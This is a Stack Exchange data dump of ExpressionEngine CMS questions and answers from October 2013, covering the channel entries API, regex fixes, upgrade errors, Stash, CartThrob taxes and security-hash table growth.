  <row Id="14371" PostTypeId="1" CreationDate="2013-10-07T16:04:26.930" Score="2" ViewCount="362" Body="&lt;p&gt;Is it possible to add entries into categories when creating them with the Channel Entries API cant see anything in the documentation.&lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="197" LastEditDate="2013-10-07T19:34:26.983" LastActivityDate="2013-10-07T19:34:26.983" Title="Channel Entries API and entry to a Category" Tags="|channel|entries|channel-entries-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14372" PostTypeId="2" ParentId="14368" CreationDate="2013-10-07T16:07:56.430" Score="1" Body="&lt;p&gt;Possibly the old version didn't have hash column in the table, and v2.7.1 does...? I've not got a v2.7.1 to compare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you clear cache before updating? Had you done a previous update on this build before? Clear all the files from the cache folder manually then try the installer again. /home/user/admin/expressionengine/cache&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you copied the new files up to the server - did you delete the old folders and files first? Sometimes I get issues with FTP if I've not deleted the folder first, as in old files my remain, or not be updated correctly, so ensure you've not got a mix of old files and new - especially libraries/Logger.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just compared v2.6.1 with v2.7.0 and the hash column has appeared in the exp_developer_log table - although there's no reference of it in the change log.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-07T16:07:56.430" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14373" PostTypeId="1" AcceptedAnswerId="14374" CreationDate="2013-10-07T16:34:31.410" Score="0" ViewCount="114" Body="&lt;p&gt;I have a Low Replace tag that uses a regex to target links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace&#xA;    find='&amp;lt;a[^&amp;gt;]*href=QUOTE(.+)QUOTE[^&amp;gt;]*(.*)&amp;gt;(.*)&amp;lt;\/a&amp;gt;'&#xA;    replace='&amp;lt;a href=QUOTE$1QUOTE$2 style=QUOTEcolor: #007766; text-decoration: underline;QUOTE&amp;gt;&amp;lt;span style=QUOTEcolor: #007766;QUOTE&amp;gt;$3&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;'&#xA;    regex='yes'&#xA;}&#xA;    &amp;lt;a href=&quot;http://google.com&quot; target=&quot;_blank&quot;&amp;gt;Search on Google&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;http://bing.com&quot; title=&quot;Search on Bing&quot;&amp;gt;or Bing&amp;lt;/a&amp;gt;.&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if the links are on the same line, Low Replace will only replace the last one. If I separate the links with a line break, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://google.com&quot; target=&quot;_blank&quot;&amp;gt;Search on Google&amp;lt;/a&amp;gt; &#xA;&amp;lt;a href=&quot;http://bing.com&quot; title=&quot;Search on Bing&quot;&amp;gt;or Bing&amp;lt;/a&amp;gt;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then Low Replace works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm certain this is some problem with my regex, can anyone offer some insight?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-10-07T21:32:03.263" Title="Low Replace Skips First Match in Same Line" Tags="|low-replace|regex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14374" PostTypeId="2" ParentId="14373" CreationDate="2013-10-07T16:42:40.320" Score="4" Body="&lt;p&gt;You'll need to make the any-character match not greedy using a &lt;code&gt;?&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a[^&amp;gt;]*?href=QUOTE(.+?)QUOTE[^&amp;gt;]*?(.*?)&amp;gt;(.*?)&amp;lt;\/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That'll probably help.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-10-07T21:32:03.263" LastActivityDate="2013-10-07T21:32:03.263" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14376" PostTypeId="2" ParentId="14371" CreationDate="2013-10-07T17:33:43.323" Score="4" Body="&lt;p&gt;Within the channel entry API, you can pass the data array containing the array of category ids like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('api');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;$data = array(&#xA;    'title'         =&amp;gt; 'ENTRY TITLE',&#xA;    'entry_date'    =&amp;gt; time(),&#xA;    'channel_id'    =&amp;gt; x,&#xA;    'category'      =&amp;gt; array($category_id)&#xA;);&#xA;&#xA;ee()-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings($channel_id, $data);&#xA;&#xA;ee()-&amp;gt;api_channel_entries-&amp;gt;submit_new_entry($channel_id, $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-07T17:33:43.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14377" PostTypeId="1" CreationDate="2013-10-07T18:06:40.030" Score="0" ViewCount="63" Body="&lt;p&gt;I can’t add a channel field with ‘file’ type in 2.7.  I double checked to make sure that the file type module was installed and that the fieldtype ‘file’ was installed and they both are.  When I hit the submit button I stay on the same page and it’s never added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m tried to uninstall the module and the fieldtype ‘file’ and reinstall it, but that didn’t work.  Even tried naming it several different ways and that didn’t work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m using a newly installed paid version of EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?  See the screenshot.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/v34Su.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2150" LastActivityDate="2013-10-07T18:06:40.030" Title="Can’t add channel field with ‘file’ type in 2.7" Tags="|ee2|channel|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14378" PostTypeId="2" ParentId="14369" CreationDate="2013-10-07T18:22:02.107" Score="2" Body="&lt;p&gt;You might find &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;EE Master Config&lt;/a&gt; useful. It allows you to replace the config.php file with a multi-environment setup that allows you to create sets of configuration items for each environment. From there it's just a matter of putting the right settings for the staging server.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-07T18:22:02.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14379" PostTypeId="1" AcceptedAnswerId="14451" CreationDate="2013-10-07T18:39:28.670" Score="1" ViewCount="246" Body="&lt;p&gt;I recently upgraded a site I'm working on to 2.7.1. And now I have some text being output with &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags around it, despite having the text formatting set to &quot;none&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug, or is there a new setting I'm not aware of that's overriding the set preference?&lt;/p&gt;&#xA;" OwnerUserId="2152" LastEditorUserId="104" LastEditDate="2013-10-09T16:25:10.633" LastActivityDate="2013-10-09T19:06:30.630" Title="Why is Text Formatting: None wrapping &lt;p&gt; tags around my text?" Tags="|text-formatting|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14380" PostTypeId="2" ParentId="14368" CreationDate="2013-10-07T18:57:38.557" Score="3" Body="&lt;p&gt;I added the required column hash in phpmyadmin and I was able to get rid of the error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then I did a manual upgrade because Devdemon updater failed at ver 2.6.1&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-10-07T18:57:38.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14381" PostTypeId="2" ParentId="14365" CreationDate="2013-10-07T20:03:25.100" Score="1" Body="&lt;p&gt;Looks like the parameter should be &quot;OrderBy&quot; without the underscore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/orders_tag.html#orderby&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/orders_tag.html#orderby&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also verified this in the code that it is indeed looking for the &quot;OrderBy&quot; parameter opposed to &quot;Order_By&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:D&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-10-07T20:03:25.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14382" PostTypeId="1" CreationDate="2013-10-07T20:43:52.323" Score="1" ViewCount="240" Body="&lt;p&gt;I'm using Solspace calendar on my EE site to handle calendar events. I am also using the built in simple search for the search feature on my site. I would like to have the search include calendar events in possible results, but only if the event has not passed already. I don't see any way to do that with the simple search, unless I can set the calendar events to automatically expire after they pass. Does anyone know of a way to either auto-expire calendar events after they pass, or is there a different search module I can use that would take into account the end date for an event based on how Solspace calendar tracks them (start date/end date, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brian&lt;/p&gt;&#xA;" OwnerUserId="1160" LastActivityDate="2013-10-09T16:44:25.787" Title="How to ensure only events that have not passed show up in simple search when events are contolled by Solspace Calendar" Tags="|search|solspace|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14383" PostTypeId="1" CreationDate="2013-10-07T22:58:57.213" Score="2" ViewCount="83" Body="&lt;p&gt;We've just come across a strange issue in CartThrob (v2.3.5; EE 2.5.5) where the tax is calculating, but only somewhat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've got several different tax rates setup for two states: NY and CA. When using a NY zip code, the tax calculates correctly every time. For CA though, it &lt;strong&gt;always&lt;/strong&gt; uses the first tax rate listed and ignores the others, regardless of zip code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of that part of CartThrob: &lt;a href=&quot;http://cl.ly/RpCc&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/RpCc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that set up, if I use 93657, whose tax rate is 8.975, it still gets calculated as 10% (the first CA tax rate). If I move the first listed CA tax rate of 10% to the bottom, and try to use 93657 again, it then defaults to 9.5% (the new first listed CA tax rate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what could be causing this issue. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-02-14T00:41:41.817" Title="Taxes defaulting to a particular setting in CartThrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14384" PostTypeId="1" AcceptedAnswerId="14530" CreationDate="2013-10-07T23:17:27.717" Score="0" ViewCount="120" Body="&lt;p&gt;I'm using Stash &lt;code&gt;append_list&lt;/code&gt; and &lt;code&gt;get_list&lt;/code&gt; tags to output a set of entries grouped by channel. Below it I have a separate channel entries loop with a simple date checker plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel='cookies|cakes|pies'&#xA;  dynamic='no'&#xA;  cat_id='375'&#xA;  disable='member_data|pagination|category_fields'&#xA;  sort='asc'&#xA;  status='not closed'&#xA;  parse='inward'&#xA;}&#xA;  {exp:stash:append_list name='treats' context='{channel_short_name}'}&#xA;    {stash:title}{title}{/stash:title}&#xA;  {/exp:stash:append_list}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;h3&amp;gt;Study Materials&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul class=&quot;study-materials&quot;&amp;gt;&#xA;  {exp:stash:get_list name='treats' context='cookies' process='end' parse_tags='yes' parse_conditionals='yes'}&#xA;    {title}&amp;lt;br&amp;gt;&#xA;  {/exp:stash:get_list}&#xA;&#xA;  {exp:stash:get_list name='treats' context='cakes' process='end' parse_tags='yes' parse_conditionals='yes'}&#xA;    {title}&amp;lt;br&amp;gt;&#xA;  {/exp:stash:get_list}&#xA;&#xA;  {exp:stash:get_list name='treats' context='pies' process='end' parse_tags='yes' parse_conditionals='yes'}&#xA;    {title}&amp;lt;br&amp;gt;&#xA;  {/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;{exp:channel:entries&#xA;  channel='purchased_items'&#xA;  limit='1'&#xA;  dynamic='no'&#xA;  disable='pagination|categories'&#xA;  search:purchased_id='{subscription_ids}'&#xA;  author_id='{logged_in_member_id}'&#xA;} &#xA;  {exp:entry_age type='older' days_old='365' entry_date='{entry_date}'}&#xA;    &amp;lt;p&amp;gt;Your plan has expired. &amp;lt;a href=&quot;{path='features-and-pricing'}&quot;&amp;gt;Renew.&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  {/exp:entry_age}&#xA;&#xA;  {if no_results}&#xA;    &amp;lt;p&amp;gt;You are on the free plan. &amp;lt;a href=&quot;{path='features-and-pricing'}&quot;&amp;gt;Purchase a subscription&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this error when I access the template:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Stash: unknown cache type defined by the type=&quot;&quot; parameter.older&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-10-11T15:18:10.783" Title="Stash Error: &quot;unknown cache type&quot;" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14385" PostTypeId="2" ParentId="14069" CreationDate="2013-10-07T23:44:39.087" Score="1" Body="&lt;p&gt;That's the correct way to specify a gateway for the transaction as long as they are not nested (which wouldn't work anyway). You can also pass the gateway short name via POST with a hidden input like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;gateway&quot; value=&quot;stripe&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does your product/subscription order list the gateway that was used if you look at the order reports in the CP?&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2013-10-07T23:44:39.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14386" PostTypeId="1" CreationDate="2013-10-08T02:55:10.560" Score="1" ViewCount="101" Body="&lt;p&gt;I'm new to ExpressionEngine, for those of you with some experience under your belt ... what are some of the things that you wished you knew when you first got started with EE?&lt;/p&gt;&#xA;" OwnerUserId="2150" LastActivityDate="2013-10-08T16:00:06.007" Title="I'm new to ExpressionEngine, for those of you with some experience under your belt" Tags="|ee2|" AnswerCount="4" CommentCount="2" ClosedDate="2013-10-08T16:33:47.927" ContentLicense="CC BY-SA 3.0" />
  <row Id="14387" PostTypeId="1" AcceptedAnswerId="14503" CreationDate="2013-10-08T03:05:01.740" Score="1" ViewCount="324" Body="&lt;p&gt;Here's the setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;secure forms turned on &lt;/li&gt;&#xA;&lt;li&gt;empty template (there are no forms, nothing at    all in the&#xA;template) &lt;/li&gt;&#xA;&lt;li&gt;EE 2.7.1 &lt;/li&gt;&#xA;&lt;li&gt;logged in/out (makes no difference)    &lt;/li&gt;&#xA;&lt;li&gt;empty exp_security_hashes table&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Every time I refresh/load the empty template in my browser an extra hash is created in the exp_security_hashes table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From reading the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; I understood the XID was only created for forms. Am I missing something? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a new XID for every page load on the front end doesn't seem right! Maybe 'secure forms' should be renamed 'secure site'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: And this template creates two XIDs, one for the form and the other for the (page??). Each XID is different but sames session_id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:edit return=&quot;myprofile/success&quot; form:id=&quot;form_2&quot; screen_name_password_required=&quot;no&quot; dynamic=&quot;off&quot; }&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;{username}&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;&#xA;{/exp:user:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The XID for the page is never set to 'used' so is never cleared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it looks like the XIDs dont get cleared until ee()-&gt;security-&gt;garbage_collect_xids() is called once every 7 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've raised this as a bug and await EE response, which Ill post here.&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-10-10T18:36:12.457" LastActivityDate="2013-10-10T18:36:12.457" Title="XID created for every page load and many non-form items increasing size exp_security_hashes table. Bug with 2.7.1?" Tags="|security|xid|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14389" PostTypeId="2" ParentId="9365" CreationDate="2013-10-08T05:22:16.537" Score="2" Body="&lt;p&gt;I came across a similar issue with the 'add_to_cart' tag, and found the 'bug' was that the naming conventions for the parameters for those options were different to what was stated in the documentation to what was in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parameters should've been; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart no_tax=&quot;yes&quot; no_shipping=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cartthrob build was v2.1.6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2155" LastEditorUserId="2155" LastEditDate="2013-10-08T05:28:45.523" LastActivityDate="2013-10-08T05:28:45.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14390" PostTypeId="1" CreationDate="2013-10-08T05:37:48.283" Score="0" ViewCount="84" Body="&lt;p&gt;In the control panel, you can set channels access for users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the frontend, I want to get the channels data a user has access to and the fields data it can view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not talking about the channel entries data. I am talking about the channel data themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get this information? Are there addons for these feature?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-10-08T07:02:25.220" LastActivityDate="2013-10-08T19:09:42.740" Title="Channels Information" Tags="|channel|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14391" PostTypeId="2" ParentId="14386" CreationDate="2013-10-08T06:41:20.803" Score="3" Body="&lt;p&gt;It depends on your milage, for me coding was quite new. So, yes, I wished I discovered earlier...:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The videos of Mike Boink &lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials&quot; rel=&quot;nofollow&quot;&gt;http://www.train-ee.com/courseware/free-tutorials&lt;/a&gt; (then buy his book)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;These podcasts &lt;a href=&quot;http://ctrlclickcast.com&quot; rel=&quot;nofollow&quot;&gt;http://ctrlclickcast.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This website &lt;a href=&quot;http://devot-ee.com&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com&lt;/a&gt;, but be careful there. It is amazing what one can do with EE right out of the box. No need to rush for addons right away.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;and last but not least, the art of &lt;a href=&quot;http://en.wikipedia.org/wiki/Don%27t_repeat_yourself&quot; rel=&quot;nofollow&quot;&gt;DRY&lt;/a&gt;. And to work systematically. And to make a good plan before even starting. And to have a very good conversation with the client before taking the job.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Did I forget something? Probably yes, but I hope this helps a bit.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2013-10-08T06:41:20.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14392" PostTypeId="1" AcceptedAnswerId="14393" CreationDate="2013-10-08T06:45:30.743" Score="0" ViewCount="40" Body="&lt;p&gt;I am looking at my database and have looked at these tables&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp_member&#xA;exp_member_data&#xA;exp_member_fields&#xA;exp_member_groups &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can’t find any information here about the channel assignment privileges of a member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one where you have something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Can post and edit entries in:  Foo    Yes      No      &#xA;Can post and edit entries in:  Bar    Yes     No&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-10-08T07:16:11.933" Title="Which table contains the data on the member group channel assignment privileges?" Tags="|members|channel|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14393" PostTypeId="2" ParentId="14392" CreationDate="2013-10-08T07:16:11.933" Score="1" Body="&lt;p&gt;The group_id is mapped to the channel_id in channel_member_groups&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(an entry in this table means that 'YES' has been selected for that group/channel combination)&lt;/p&gt;&#xA;" OwnerUserId="1396" LastActivityDate="2013-10-08T07:16:11.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14394" PostTypeId="2" ParentId="14367" CreationDate="2013-10-08T07:35:14.633" Score="0" Body="&lt;p&gt;I found the answer by accident, and I'll leave the answer here, in case someone else bumps into this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to put the tag-pair inside a channel entry&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Doesn't work&#xA;{exp:ip_to_nation:world_flags image_url=&quot;http://example.com/images/world_flags/&quot;}&#xA;    {ip_address}&#xA;{/exp:ip_to_nation:world_flags}&#xA;&#xA;//Works!&#xA;{exp:channel:entries limit=&quot;1&quot;}&#xA;{exp:ip_to_nation:world_flags image_url=&quot;http://example.com/images/world_flags/&quot;}&#xA;    {ip_address}&#xA;{/exp:ip_to_nation:world_flags}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; So &lt;code&gt;{ip_address}&lt;/code&gt; inside channel entries gives me the ip address of the author. However, there is a tag called &lt;code&gt;{logged_in_ip_address}&lt;/code&gt;, which will output the users ip address even inside the channel entries tag. BUT! When using this, ip_to_nation fails again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Doesn't work either!&#xA;{exp:channel:entries limit=&quot;1&quot;}&#xA;{exp:ip_to_nation:world_flags image_url=&quot;http://example.com/images/world_flags/&quot;}&#xA;    {logged_in_ip_address}&#xA;{/exp:ip_to_nation:world_flags}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt; Okay. I ended up doing everything in php because of this. So this is my final solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;ip_data-&amp;gt;find($ip);&#xA;include(APPPATH.'config/countries.php');&#xA;$cc = $this-&amp;gt;EE-&amp;gt;locales-&amp;gt;alpha3_country_code($tmp);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will output the country code of the user, which was basically what I wanted anyway.&lt;/p&gt;&#xA;" OwnerUserId="1990" LastEditorUserId="1990" LastEditDate="2013-10-08T14:43:16.887" LastActivityDate="2013-10-08T14:43:16.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14395" PostTypeId="2" ParentId="14386" CreationDate="2013-10-08T08:23:47.107" Score="2" Body="&lt;p&gt;My tips:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Read the user guide. &lt;/li&gt;&#xA;&lt;li&gt;Read it again &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;master config&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Template-partials&quot; rel=&quot;nofollow&quot;&gt;partials - dry approach&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Use Stackexchange forum, past and present posts &lt;/li&gt;&#xA;&lt;li&gt;Use the debugger and profiler to optimise page load times &amp;amp; minimise number of queries &lt;/li&gt;&#xA;&lt;li&gt;Use Simple    conditionals    wherever     possible&lt;/li&gt;&#xA;&lt;li&gt;scratch different parts of your head so you dont get a bald spot!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-10-08T09:04:58.033" LastActivityDate="2013-10-08T09:04:58.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14396" PostTypeId="1" CreationDate="2013-10-08T09:19:23.383" Score="1" ViewCount="68" Body="&lt;p&gt;Whats the best practice to create a website in EE, that is different country (Not language) and change the content based on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm considering using MSM, due to the client needing different categories &amp;amp; pages per site, but then plugins such as CartThrob don't support the ability to span products across multiple sites via MSM.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-10-09T17:38:34.417" Title="Advice: Different Content Country Sites" Tags="|cartthrob|ecommerce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14397" PostTypeId="1" CreationDate="2013-10-08T10:14:39.707" Score="1" ViewCount="91" Body="&lt;p&gt;I just upgraded a large site from EE1 to 2.6.1 and to Playa 4.4.3. The site was previously using Solspace's Related Entries, and Playa seemed to have converted these successfully - the related entries appear in the Playa field in the Edit Entry forms. However, they do not appear in the front-end templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed this was my syntax error, but in fact any newly created entries do display their Playa content in the template as expected, and if I re-save an old entry, its converted Playa content also displays fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;news_field_group_related_entries&quot;}&#xA; &amp;lt;li&amp;gt;&amp;lt;a href=&quot;...&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA; {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{news_field_group_related_entries limit=&quot;10&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;...&quot;&amp;gt; {title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;      &#xA;{/news_field_group_related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;both work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several thousand entries so not realy practical to update each one manually. And it's a busy live site so I don't want to try anything too radical. What can I do?&lt;/p&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2013-10-08T10:14:39.707" Title="Upgrade to EE2 - Playa content not displaying" Tags="|playa|ee2-upgrades|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14398" PostTypeId="2" ParentId="13477" CreationDate="2013-10-08T11:08:52.570" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/pt-field-pack&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T Field Pack&lt;/a&gt; has been renamed into/superseded by &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;Field Pack&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2013-10-08T11:08:52.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
